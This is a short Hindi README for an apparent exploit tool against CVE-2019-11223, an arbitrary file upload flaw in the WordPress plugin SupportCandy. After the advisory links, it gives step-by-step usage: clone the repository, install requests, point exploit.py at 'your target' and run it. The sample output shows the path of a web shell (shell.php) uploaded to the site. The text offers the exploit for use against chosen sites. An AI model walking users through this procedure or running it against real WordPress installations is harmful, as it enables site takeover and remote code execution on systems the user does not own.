CVE-2019-11223

मनमाना फ़ाइल अपलोड वर्डप्रेस प्लगइन SupportCandy संस्करण 2.0 और उससे नीचे में

• https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/
• https://wordpress.org/plugins/supportcandy/#developers
• https://www.pluginvulnerabilities.com/2019/04/05/arbitrary-file-upload-vulnerability-in-supportcandy/

शुरू करना

git clone https://github.com/AngelCtulhu/CVE-2019-11223.git

पूर्वापेक्षाएँ

pip install requests

शोषण

exploit.py में localhost को अपने लक्ष्य में बदलें

python exploit.py
"http:\/\/localhost\/wp-content\/uploads\/wpsc\/1555513124_shell.php"

लेखक